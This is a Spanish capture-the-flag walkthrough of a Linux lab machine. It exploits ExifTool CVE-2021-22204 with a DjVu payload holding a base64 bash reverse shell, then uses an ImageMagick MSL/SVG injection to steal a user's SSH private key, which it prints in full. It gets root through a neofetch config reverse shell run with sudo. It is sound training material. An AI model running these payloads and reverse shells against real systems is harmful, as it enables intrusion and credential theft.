Saludos pentesters, hoy toca otra máquina Linux de dificultad media que tiene muy buena pinta. Vamos a meternos de lleno en materia y a ver qué nos encontramos.

Fecha de Resolución

Fase de Reconocimiento

Recordad que esto siempre es el mismo procedimiento, TCP SYN Port Scan y pa’ lante.

Parámetro Descripción
-p- Escanea el rango completo de puertos (hasta el 65535)
-sS Realiza un escaneo de tipo SYN port scan
–min-rate Enviar paquetes no más lentos que 5000 por segundo
–open Mostrar sólo los puertos que esten abiertos
-vvv Triple verbose para ver en consola los resultados
-n No efectuar resolución DNS
-Pn No efectuar descubrimiento de hosts
-oG Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar
any0ne@p3ntest1ng:~$ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.140 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-24 11:00 CET
Initiating SYN Stealth Scan at 11:00
Scanning 10.10.11.140 [65535 ports]
Discovered open port 80/tcp on 10.10.11.140
Discovered open port 22/tcp on 10.10.11.140
Completed SYN Stealth Scan at 11:01, 19.12s elapsed (65535 total ports)
Nmap scan report for 10.10.11.140
Host is up, received user-set (0.077s latency).
Scanned at 2022-01-24 11:00:46 CET for 19s
Not shown: 56809 closed tcp ports (reset), 8724 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.70 seconds
           Raw packets sent: 95078 (4.183MB) | Rcvd: 64370 (3.204MB)
Puerto Descripción
22 SSH - SSH o Secure Shell
80 HTTP - Servidor web

Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.

Parámetro Descripción
-p Escanea sobre los puertos especificados
-sC Muestra todos los scripts relacionados con el servicio
-sV Determina la versión del servicio
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap -sCV -p22,80 10.10.11.140 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-24 11:03 CET
Nmap scan report for artcorp.htb (10.10.11.140)
Host is up (0.046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Home
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.12 seconds

Revisemos el puerto 80 con un script de reconocimiento HTTP básico de nmap.

Parámetro Descripción
–script Ejecución de scripts escritos en LUA. Usamos http-enum
-p Escanea sobre el puerto especificado
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap --script http-enum -p80 10.10.11.140 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-24 11:05 CET
Nmap scan report for artcorp.htb (10.10.11.140)
Host is up (0.062s latency).

PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.20 seconds

Nada interesante así que podemos borrar el archivo webScan. Hagamos un poco de fuzzing.

Parámetro Descripción
-c Muestra el output en formato colorizado
-w Utiliza el diccionario especificado
–hc=404 Oculta todos los códigos de estado 404
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc=404 http://artcorp.htb/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://artcorp.htb/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000001:   200        86 L     266 W      4427 Ch     "http://artcorp.htb/"                                                                                                       
000000011:   403        7 L      20 W       199 Ch      ".hta"                                                                                                                      
000000013:   403        7 L      20 W       199 Ch      ".htpasswd"                                                                                                                 
000000012:   403        7 L      20 W       199 Ch      ".htaccess"                                                                                                                 
000000499:   301        7 L      20 W       234 Ch      "assets"                                                                                                                    
000001114:   301        7 L      20 W       231 Ch      "css"                                                                                                                       
000002020:   200        86 L     266 W      4427 Ch     "index.html"                                                                                                                
000003588:   403        7 L      20 W       199 Ch      "server-status"                                                                                                             

Total time: 0
Processed Requests: 4614
Filtered Requests: 4606
Requests/sec.: 0

Busquemos subdominios porque aquí no hay gran cosa.

Parámetro Descripción
-c Mostrar el output en formato colorizado
-w Utiliza el diccionario especificado
–sc 200 Muestra sólo los códigos de estado 200
-H Realiza una consulta de tipo header
-u Especifica la URL para la consulta
-t Nos permite lanzar el comando con N threads
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc=200 -H "Host: FUZZ.artcorp.htb" -u http://artcorp.htb/ -t 100 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://artcorp.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000001492:   200        9 L      24 W       247 Ch      "dev01"                                                                                                                     

Total time: 0
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 0

Tenemos un subdominio así que lo agregamos al archivo /etc/hosts para poder acceder.

p3ntest1ng:~$ echo '10.10.11.140 artcorp.htb dev01.artcorp.htb' | sudo tee -a /etc/hosts

Website

Subdominio

Vemos un enlace que nos lleva al proyecto MetaView, en el cual podemos subir un archivo de tipo imagen.

MetaView

He probado a subir un archivo cualquiera pero por lo visto sólo le gustan imagenes. Tras subir un archivo .jpg se cargan los metadatos correspondientes al archivo.

Parece que se está usando ExifTool por detrás. Buscando en Google Exiftool vulnerability encuentro este enlace: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/ donde se explica la vulnerabilidad. Vamos a instalar las herramientas necesarias para explotar el fallo.

Fase de Explotación

p3ntest1ng:~$ sudo apt install djvulibre-bin

Ahora creamos un archivo con el siguiente contenido, lo codificamos en base64 por si acaso:

p3ntest1ng:~$ echo 'bash -i >& /dev/tcp/10.10.15.113/9999 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMTMvOTk5OSAwPiYxCg==
p3ntest1ng:~$ vi payload
(metadata "\c${system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMTMvOTk5OSAwPiYxCg== | base64 -d | bash')};")

Comprimimos nuestro payload siguiendo las instrucciones del artículo:

p3ntest1ng:~$ bzz payload payload.bzz

Creamos el exploit tal y como se indica:

p3ntest1ng:~$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

Ahora debemos crear un archivo de configuración llamado configfile con el siguiente contenido:

p3ntest1ng:~$ vi configfile
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end%

Por último, insertamos el archivo malicioso dentro de cualquier .jpg válido utilizando Exiftool

p3ntest1ng:~$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' rana.jpg

Ya sólo nos queda ponernos en escucha por el puerto 9999 (o el que tú quieras) y subir la imagen al MetaView

p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.15.113] from (UNKNOWN) [10.10.11.140] 59310
bash: cannot set terminal process group (640): Inappropriate ioctl for device
bash: no job control in this shell

Hacemos tratamiento a la shell para que sea más o menos interactiva:

bash-5.0$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
bash-5.0$ ^Z
zsh: suspended  nc -nlvp 9999
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 9999
                               reset xterm                      
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ export TERM=xterm
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ export SHELL=bash
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ stty rows 43 columns 189
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ whoami && id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tras analizar algunos directorios, vemos que efectivamente se estaba haciendo uso de ExifTool:

www-data@meta:/var/www/dev01.artcorp.htb/metaview$ cat /lib/ExifToolWrapper.php
<?php
    function exiftool_exec($newFilepath) {
        return shell_exec("exiftool " . escapeshellarg($newFilepath) . " --system:all --exiftool:all -e");
    }
?>

Listemos los usuarios que existen en el sistema:

www-data@meta:/var/www$ grep -vE "nologin|false|sync|git" /etc/passwd | tr ":" " " | column -t
root    x  0     0      root       /root         /bin/bash
thomas  x  1000  1000   thomas,,,  /home/thomas  /bin/bash

Suponemos que el usuario thomas será quien finalmente tenga el archivo que nos interesa, vamos a verificarlo.

www-data@meta:/var/www$ find / -type f -name user.txt 2>/dev/null
/home/thomas/user.txt

Busquemos una forma de pivotar al usuario thomas, ya que desde este usuario no podemos hacer mucho más. Lo primero que intento es encontrar cualquier script en bash que nos pueda dar algo información:

www-data@meta:/var/www$ find / -type f -name *.sh 2>/dev/null
/usr/local/bin/convert_images.sh
/usr/bin/gettext.sh
/usr/lib/grub/i386-pc/modinfo.sh
/usr/lib/init/vars.sh
/usr/lib/console-setup/console-setup.sh
/usr/lib/console-setup/keyboard-setup.sh
/usr/lib/x86_64-linux-gnu/xml2Conf.sh
/usr/lib/ifupdown/wait-for-ll6.sh
/usr/lib/ifupdown/settle-dad.sh
/usr/lib/ifupdown/wait-online.sh
/usr/share/debconf/confmodule.sh
/usr/share/os-prober/common.sh
/usr/share/vim/vim81/macros/less.sh
/usr/share/doc/cron/examples/cron-tasks-review.sh
/usr/share/doc/ifupdown/examples/check-mac-address.sh
/usr/share/doc/ifupdown/examples/pcmcia-compat.sh
/usr/share/doc/ifupdown/examples/get-mac-address.sh
/usr/share/doc/ifupdown/examples/ping-places.sh
/usr/share/libtool/build-aux/ltmain.sh
/usr/share/automake-1.16/tap-driver.sh
/etc/console-setup/cached_setup_font.sh
/etc/console-setup/cached_setup_keyboard.sh
/etc/console-setup/cached_setup_terminal.sh
/etc/init.d/console-setup.sh
/etc/init.d/keyboard-setup.sh
/etc/init.d/hwclock.sh
/boot/grub/i386-pc/modinfo.sh

Vemos que existe un script de nombre convert_images.sh. Revisemos el contenido.

#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

¿Qué es mogrify?

The mogrify program is a member of the ImageMagick(1) suite of tools. Use it to resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. This tool is similiar to convert(1) except the original image file is overwritten with any changes you request.

El script trata de convertir cualquier archivo existente en el directorio convert_images a formato .png

Revisemos la ayuda del programa para ver qué versión se está ejecutando (omitiré el resto del output ya que no es relevante).

www-data@meta:/var/www$ mogrify --help
Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org

Sabiendo esto podemos consultar en Google si existe alguna vulnerabilidad para esta versión:

Búsqueda

Los primeros resultados no me parecen interesantes así que directamente nos centramos en este:

Búsqueda

La versión de ImageMagick que se está utilizando es vulnerable a OS Command Injection tal y como nos explican aquí: CVE-2020-29599

Siguiendo los enlaces para tratar de obtener más información, acabamos llegando a esta página: https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

Tras un rato leyendo la página, nos muestran un POC (Proof of Concept) bajo archivos .svg para explotar la vulnerabilidad haciendo uso de MSL (ImageMagick Scripting Language)

poc.svg:

<image authenticate='ff" `echo $(id)> ./0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Creamos un nuevo directorio dentro de /tmp y dentro de él, creamos un archivo llamado poc.svg

www-data@meta:/var/www$ mkdir /tmp/any0ne; cd /tmp/any0ne && nano poc.svg

El contenido de este archivo será el siguiente:

<image authenticate='ff" `echo $(cat /home/thomas/user.txt)> /dev/shm/userflag`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Aquí debo explicar un detalle, no podemos guardar el output en este directorio ya que al parecer existe una tarea cron que borra el contenido, es por eso que en nuestro poc.svg hacemos que la ruta apunte al directorio /dev/shm, donde tenemos permisos de escritura. Si queremos ver en qué otros directorios tenemos permiso de escritura, podemos ejecutar el siguiente comando:

www-data@meta:/tmp/any0ne$ find / -perm -2 -type d 2>/dev/null
/var/tmp
/var/lib/php/sessions
/dev/mqueue
/dev/shm
/run/lock
/tmp

Lo guardamos y lo copiamos dentro del directorio /var/www/dev01.artcorp.htb/convert_images/ y esperamos a que sea procesado. Una vez que se procese, deberíamos ver nuestro archivo creado, que contendrá la flag del usuario.

www-data@meta:/tmp/any0ne$ cp poc.svg /var/www/dev01.artcorp.htb/convert_images/poc.svg
www-data@meta:/tmp/any0ne$ ls -l /var/www/dev01.artcorp.htb/convert_images/
total 4
-rw-r--r-- 1 www-data www-data 432 Jan 25 20:13 poc.svg
www-data@meta:/tmp/any0ne$ cd /dev/shm && ls -la
total 3
-rw-r--r-- 1 thomas   thomas    33 Jan 25 20:14 userflag
www-data@meta:/dev/shm$ cat userflag
e511271f887e1a7a3443c8811e764d14

Podemos leer el archivo id_rsa dentro del directorio .ssh para así conectarnos por SSH cuando queramos. Hay que modificar nuestro poc.svg y repetir el proceso anterior.

<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/key`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
www-data@meta:/dev/shm$ cp /tmp/any0ne/poc.svg /var/www/dev01.artcorp.htb/convert_images/poc.svg
www-data@meta:/dev/shm$ ls -l /var/www/dev01.artcorp.htb/convert_images/
total 4
-rw-r--r-- 1 www-data www-data 432 Jan 25 20:13 poc.svg
www-data@meta:/dev/shm$ ls -l
total 8
-rw-r--r-- 1 thomas   thomas   2590 Jan 25 20:29 key
-rw-r--r-- 1 thomas   thomas     33 Jan 25 20:14 userflag

Ya podemos leer la clave para conectarnos por SSH:

www-data@meta:/dev/shm$ cat key
-----BEGIN OPENSSH PRIVATE KEY----- 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 bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE= -----END OPENSSH PRIVATE KEY-----

Tenemos que hacerle un pequeño tratamiento a esta clave porque nos la ha mostrado en una sóla línea y si no le damos el formato correcto, no funcionará. Es básicamente meter un salto de línea en cada espacio hasta llegar al final del archivo, donde hay que meter un salto más. Para ahorraros trabajo, os la dejo con el formato adecuado:

-----BEGIN OPENSSH PRIVATE KEY-----
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
bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE=
-----END OPENSSH PRIVATE KEY-----

La guardamos en nuestra máquina, le damos permisos con chmod 600 metakey y nos conectamos:

p3ntest1ng:~$ ssh -i metakey thomas@artcorp.htb
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
thomas@meta:~$ ls
user.txt
thomas@meta:~$ cat user.txt 
e511271f887e1a7a3443c8811e764d14

Escalada de Privilegios

Lo primero que siempre compruebo son los permisos a nivel de sudo con sudo -l

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

Vemos que el usuario thomas puede ejecutar la herramienta neofetch con privilegios de root Realizando una búsqueda en GTFOBins para esta herramienta, encontramos información muy interesante. El archivo de configuración de esta herramienta se encuentra por defecto en: ~/.config/neofetch/config.conf`

thomas@meta:~$ cat ~/.config/neofetch/config.conf

El archivo contiene muchas líneas, pero lo que nos interesa a nosotros es meter una shell inversa en este archivo para que se ejecute al leerlo el sistema. Lo pondremos en la primera línea del archivo:

thomas@meta:~$ cat ~/.config/neofetch/config.conf
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.15.113/9999 0>&1"
# See this wiki page for more info:
# https://github.com/dylanaraps/neofetch/wiki/Customizing-Info
print_info() {
    info title

Ahora si recordamos el output de sudo -l vemos que teníamos una variable de entorno llamada XDG_CONFIG_HOME, la exportarmos para que apunte a los archivos de configuración del usuario thomas

p3ntest1ng:~$ export XDG_CONFIG_HOME="$HOME/.config"

Ahora nos ponemos en escucha en nuestra máquina con netcat:

p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...

Y finalmente ejecutamos neofetch en la máquina Meta de esta forma (NOTA: estos pasos hay que realizarlos muy rápido, porque los archivos se sobreescriben y no persisten nuestros cambios):

thomas@meta:~$ sudo -u root /usr/bin/neofetch \"\"
p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.15.113] from (UNKNOWN) [10.10.11.140] 35808
root@meta:/home/thomas# whoami
whoami
root
root@meta:/home/thomas# 

En este punto ya tenemos el sistema completamente a nuestra merced, podríamos realizar el tratamiento de la shell pero en este caso yo no lo voy a hacer.

root@meta:/home/thomas# cd /root; ls -la
cd /root; ls -la
total 28
drwx------  4 root root 4096 Jan 17 07:52 .
drwxr-xr-x 18 root root 4096 Aug 29 15:38 ..
lrwxrwxrwx  1 root root    9 Aug 29 16:00 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  4 root root 4096 Jan  4 10:10 .config
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwxr-xr-x  2 root root 4096 Aug 30 13:01 conf
-rwxr-----  1 root root   33 Jan 25 20:09 root.txt
root@meta:~# cat root.txt
cat root.txt
3b7ae86ee0a2f788e5db285c464bdcdf
root@meta:~#

¡Gracias por leer hasta el final!

Nos vemos en un próximo. ¡Feliz hacking! ☠